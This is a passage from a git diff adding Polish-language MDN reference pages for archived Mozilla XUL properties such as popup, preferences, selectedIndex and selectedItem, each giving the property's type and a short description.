+ Typ: <i>string</i></dd>
+ <dd>
+ Wyświetlana wartość łańcucha znaków dla godzin pomiędzy południem a północą, domyślnie jest to PM. Ta wartość jest określana dla użytkownika lokalnie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/popup/index.html b/files/pl/mozilla/tech/xul/własność/popup/index.html
new file mode 100644
index 0000000000..66ca1777c0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/popup/index.html
@@ -0,0 +1,20 @@
+---
+title: popup
+slug: Mozilla/Tech/XUL/Własność/popup
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/popup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/popup">popup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu wyskakującego</i>
+ </dd>
+ <dd>
+ Powinna być ustawiona wartość <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code>, który powinien zostać podświetlony, kiedy użytkownik kliknie w pole tekstowe.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/popupboxobject/index.html b/files/pl/mozilla/tech/xul/własność/popupboxobject/index.html
new file mode 100644
index 0000000000..3e3c196578
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/popupboxobject/index.html
@@ -0,0 +1,20 @@
+---
+title: popupBoxObject
+slug: Mozilla/Tech/XUL/Własność/popupBoxObject
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/popupBoxObject
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/popupBoxObject">popupBoxObject</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIPopupBoxObject">nsIPopupBoxObject</a></i>
+ </dd>
+ <dd>
+ To jest własność tylko do odczytu podtrzymująca <a href="pl/NsIPopupBoxObject">nsIPopupBoxObject</a>, który implementuje popup. Normalnie, ta własność nie jest nam potrzebna do użycia jak są dostępne wszystkie jej funkcje via popup.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/popupopen/index.html b/files/pl/mozilla/tech/xul/własność/popupopen/index.html
new file mode 100644
index 0000000000..e0bbcfae86
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/popupopen/index.html
@@ -0,0 +1,14 @@
+---
+title: popupOpen
+slug: Mozilla/Tech/XUL/Własność/popupOpen
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/popupOpen
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/popupOpen">popupOpen</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Wskazuje gdzie jest otwierane (lub nieotwierane) okienko popup. Ustaw tą własność do otwarcia lub zamknięcia popup.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/position/index.html b/files/pl/mozilla/tech/xul/własność/position/index.html
new file mode 100644
index 0000000000..f556b31aeb
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/position/index.html
@@ -0,0 +1,20 @@
+---
+title: position
+slug: Mozilla/Tech/XUL/Własność/position
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/position
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/position">position</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <a href="pl/XUL/Atrybut/popup.position">position</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/predicate/index.html b/files/pl/mozilla/tech/xul/własność/predicate/index.html
new file mode 100644
index 0000000000..9cc46d4baf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/predicate/index.html
@@ -0,0 +1,15 @@
+---
+title: predicate
+slug: Mozilla/Tech/XUL/Własność/predicate
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/predicate
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/predicate">predicate</a></span></code></dt>
+ <dd>
+ Predykat lub własność do dopasowania. Musi być adresem URI własności.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/preference.preferences/index.html b/files/pl/mozilla/tech/xul/własność/preference.preferences/index.html
new file mode 100644
index 0000000000..26ece2a250
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/preference.preferences/index.html
@@ -0,0 +1,20 @@
+---
+title: preference.preferences
+slug: Mozilla/Tech/XUL/Własność/preference.preferences
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/preference.preferences
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/preference.preferences">preferences</a></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Odwołanie się do elementu zawierającego <code><a href="/pl/docs/Mozilla/Tech/XUL/preferences" title="preferences">preferences</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/preferenceelements/index.html b/files/pl/mozilla/tech/xul/własność/preferenceelements/index.html
new file mode 100644
index 0000000000..1671adc85a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/preferenceelements/index.html
@@ -0,0 +1,20 @@
+---
+title: preferenceElements
+slug: Mozilla/Tech/XUL/Własność/preferenceElements
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/preferenceElements
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/preferenceElements">preferenceElements</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ DOM Nodelist</i>
+ </dd>
+ <dd>
+ Podtrzymuje listę elementów UI w oknie, które są dołączone do preferencji.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/preferencepanes/index.html b/files/pl/mozilla/tech/xul/własność/preferencepanes/index.html
new file mode 100644
index 0000000000..1d74b5bcb0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/preferencepanes/index.html
@@ -0,0 +1,20 @@
+---
+title: preferencePanes
+slug: Mozilla/Tech/XUL/Własność/preferencePanes
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/preferencePanes
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/preferencePanes">preferencePanes</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ DOM NodeList</i>
+ </dd>
+ <dd>
+ Podtrzymuje listę wszystkich elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code> w oknie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/preferences/index.html b/files/pl/mozilla/tech/xul/własność/preferences/index.html
new file mode 100644
index 0000000000..d63d2f50a4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/preferences/index.html
@@ -0,0 +1,17 @@
+---
+title: preferences
+slug: Mozilla/Tech/XUL/Własność/preferences
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/preferences
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span>
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/browser.preferences">browser.preferences</a></li>
+ <li><a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/preference.preferences">preference.preferences</a></li>
+ <li><a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/prefpane.preferences">prefpane.preferences</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/własność/radiogroup/index.html b/files/pl/mozilla/tech/xul/własność/radiogroup/index.html
new file mode 100644
index 0000000000..63322050be
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/radiogroup/index.html
@@ -0,0 +1,20 @@
+---
+title: radioGroup
+slug: Mozilla/Tech/XUL/Własność/radioGroup
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/radioGroup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/radioGroup">radioGroup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></i>
+ </dd>
+ <dd>
+ Zwraca zamkniętą grupę (<code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code>) tak, że element <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code> jest zawarty wewnątrz, który może być lub nie być jego bezpośrednim rodzicem.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/readonly/index.html b/files/pl/mozilla/tech/xul/własność/readonly/index.html
new file mode 100644
index 0000000000..0bc372ec19
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/readonly/index.html
@@ -0,0 +1,20 @@
+---
+title: readonly
+slug: Mozilla/Tech/XUL/Własność/readonly
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/readOnly
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/readonly">readonly</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli jest ustawiony na <code>true</code>, to użytkownik nie może zmieniać wartości elementu. Jest to odpowiednia własności do użytku <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> zamiast własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/readonly">readonly</a></span></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/ref/index.html b/files/pl/mozilla/tech/xul/własność/ref/index.html
new file mode 100644
index 0000000000..659e9468d4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/ref/index.html
@@ -0,0 +1,20 @@
+---
+title: ref
+slug: Mozilla/Tech/XUL/Własność/ref
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/ref
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ URI źródła RDF</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/resource/index.html b/files/pl/mozilla/tech/xul/własność/resource/index.html
new file mode 100644
index 0000000000..4cc7f05023
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/resource/index.html
@@ -0,0 +1,17 @@
+---
+title: resource
+slug: Mozilla/Tech/XUL/Własność/resource
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/resource
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIRDFResource">nsIRDFResource</a></i>
+</dd><dd> Zwraca źródło RDF z wartością atrybutu elementów <code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>. Jeśli atrybut <code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code> nie jest określony, to w zamian stosujemy atrybut <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/resultspopup/index.html b/files/pl/mozilla/tech/xul/własność/resultspopup/index.html
new file mode 100644
index 0000000000..4c050cabdf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/resultspopup/index.html
@@ -0,0 +1,20 @@
+---
+title: resultsPopup
+slug: Mozilla/Tech/XUL/Własność/resultsPopup
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/resultsPopup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resultsPopup">resultsPopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element wyskakujący</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona jako element wyskakujący, który wyświetla wyniki (rezultaty).</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/scrollincrement/index.html b/files/pl/mozilla/tech/xul/własność/scrollincrement/index.html
new file mode 100644
index 0000000000..058e09be5d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/scrollincrement/index.html
@@ -0,0 +1,15 @@
+---
+title: scrollIncrement
+slug: Mozilla/Tech/XUL/Własność/scrollIncrement
+tags:
+ - Strony_wymagające_dopracowania
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/scrollIncrement
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/scrollIncrement">scrollIncrement</a></span></code></dt>
+ <dd>Typ:<em>integer</em></dd>
+ <dd>Własność tylko do odczytu, która chce odebrać liczbę pikseli <strong>which scrolling will occur when the <code><a href="/pl/docs/Mozilla/Tech/XUL/arrowscrollbox" title="arrowscrollbox">arrowscrollbox</a></code> is clicked.</strong></dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/searchcount/index.html b/files/pl/mozilla/tech/xul/własność/searchcount/index.html
new file mode 100644
index 0000000000..3d26abc43b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/searchcount/index.html
@@ -0,0 +1,20 @@
+---
+title: searchCount
+slug: Mozilla/Tech/XUL/Własność/searchCount
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/searchCount
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/searchCount">searchCount</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca liczbę użytych komponentów. Ta własność jest tylko do odczytu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/searchparam/index.html b/files/pl/mozilla/tech/xul/własność/searchparam/index.html
new file mode 100644
index 0000000000..3887df0db7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/searchparam/index.html
@@ -0,0 +1,20 @@
+---
+title: searchParam
+slug: Mozilla/Tech/XUL/Własność/searchParam
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/searchParam
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/searchParam">searchParam</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-autocompletesearchparam"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletesearchparam">autocompletesearchparam</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/searchsessions/index.html b/files/pl/mozilla/tech/xul/własność/searchsessions/index.html
new file mode 100644
index 0000000000..d5ab241c9b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/searchsessions/index.html
@@ -0,0 +1,25 @@
+---
+title: searchSessions
+slug: Mozilla/Tech/XUL/Własność/searchSessions
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/searchSessions
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/searchSessions">searchSessions</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista nazw sesji rozdzielona spacją</i>
+ </dd>
+ <dd>
+ Ustawia słowo kluczowe sygnalizując jakiego typu dane są szukane dla autouzupełnienia. Możemy ustawić wiele typów poprzez rozdzielenie ich nazw spacją. Następujące wartości są możliwe, mimo że komponenty użytkownika mogą być zainstalowane, które dodają inne.</dd>
+</dl>
+<ul>
+ <li><code>history</code>: Przeszukana jest historia adresów URL użytkownika.</li>
+ <li><code>addrbook</code>: Przeszukana jest książka adresowa użytkownika.</li>
+ <li><code>ldap</code>: Przeszukany jest katalog LDAP użytkownika.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/własność/second/index.html b/files/pl/mozilla/tech/xul/własność/second/index.html
new file mode 100644
index 0000000000..08ae2a05f3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/second/index.html
@@ -0,0 +1,17 @@
+---
+title: second
+slug: Mozilla/Tech/XUL/Własność/second
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/second
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/second">second</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczone sekundy z przedziału od 0 do 59. Ustaw tą własność, aby zmienić zaznaczone sekundy.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/secondleadingzero/index.html b/files/pl/mozilla/tech/xul/własność/secondleadingzero/index.html
new file mode 100644
index 0000000000..b4a4dbeb49
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/secondleadingzero/index.html
@@ -0,0 +1,17 @@
+---
+title: secondLeadingZero
+slug: Mozilla/Tech/XUL/Własność/secondLeadingZero
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/secondLeadingZero
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/secondLeadingZero">secondLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed sekundą zanim jest ona mniejsza niż 10.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/securityui/index.html b/files/pl/mozilla/tech/xul/własność/securityui/index.html
new file mode 100644
index 0000000000..e5d2b11b1e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/securityui/index.html
@@ -0,0 +1,16 @@
+---
+title: securityUI
+slug: Mozilla/Tech/XUL/Własność/securityUI
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/securityUI
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/securityUI">securityUI</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsISecureBrowserUI">nsISecureBrowserUI</a></i>
+</dd><dd> Własność tylko do odczytu przechowująca obiekt, który może zostać użyty do określenia poziomu bezpieczeństwa we wczytanym dokumencie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/selected/index.html b/files/pl/mozilla/tech/xul/własność/selected/index.html
new file mode 100644
index 0000000000..c5a14f6a65
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selected/index.html
@@ -0,0 +1,20 @@
+---
+title: selected
+slug: Mozilla/Tech/XUL/Własność/selected
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selected
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selected">selected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/selectedbrowser/index.html b/files/pl/mozilla/tech/xul/własność/selectedbrowser/index.html
new file mode 100644
index 0000000000..0a0d69d46d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selectedbrowser/index.html
@@ -0,0 +1,20 @@
+---
+title: selectedBrowser
+slug: Mozilla/Tech/XUL/Własność/selectedBrowser
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selectedBrowser
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedBrowser">selectedBrowser</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></i>
+ </dd>
+ <dd>
+ Ta własność jest tylko do odczytu i zwraca aktualnie wyświetlany element <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/selectedcount/index.html b/files/pl/mozilla/tech/xul/własność/selectedcount/index.html
new file mode 100644
index 0000000000..17cf764f1e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selectedcount/index.html
@@ -0,0 +1,20 @@
+---
+title: selectedCount
+slug: Mozilla/Tech/XUL/Własność/selectedCount
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selectedCount
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedCount">selectedCount</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca liczbę pozycji, która jest aktualnie zaznaczona.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/selectedindex/index.html b/files/pl/mozilla/tech/xul/własność/selectedindex/index.html
new file mode 100644
index 0000000000..3aa4b25211
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selectedindex/index.html
@@ -0,0 +1,20 @@
+---
+title: selectedIndex
+slug: Mozilla/Tech/XUL/Własność/selectedIndex
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selectedIndex
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca indeks aktualnie zaznaczonej pozycji. Można zaznaczyć pozycję przypisując jej numer indeksu do własności. Przydzielając <code>-1</code> do tej własności, wszystkie pozycje zostaną odznaczone.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/selecteditem/index.html b/files/pl/mozilla/tech/xul/własność/selecteditem/index.html
new file mode 100644
index 0000000000..97c7ca73bf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selecteditem/index.html
@@ -0,0 +1,20 @@
+---
+title: selectedItem
+slug: Mozilla/Tech/XUL/Własność/selectedItem
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selectedItem
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedItem">selectedItem</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Podtrzymuje aktualnie zaznaczoną pozycję. Jeśli nie ma zaznaczonych aktualnie pozycji, to jej wartość równa będzie <code>null</code>. Możemy zaznaczyć pozycję poprzez ustawienie tej wartości. Zmiana zdarzenia będzie przesyłana do zaznaczonej pozycji, kiedy zmieniona zostanie jedna z tych własności, własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code> lub zmieniona będzie przez użytkownika.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/selecteditems/index.html b/files/pl/mozilla/tech/xul/własność/selecteditems/index.html
new file mode 100644
index 0000000000..0bbc221f20
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selecteditems/index.html
@@ -0,0 +1,20 @@
+---
+title: selectedItems
+slug: Mozilla/Tech/XUL/Własność/selectedItems
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selectedItems
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedItems">selectedItems</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ tablica z listą pozycji</i>
+ </dd>
+ <dd>
+ Zwraca tablicę zaznaczonych pozycji na liście.</dd>
+</dl>
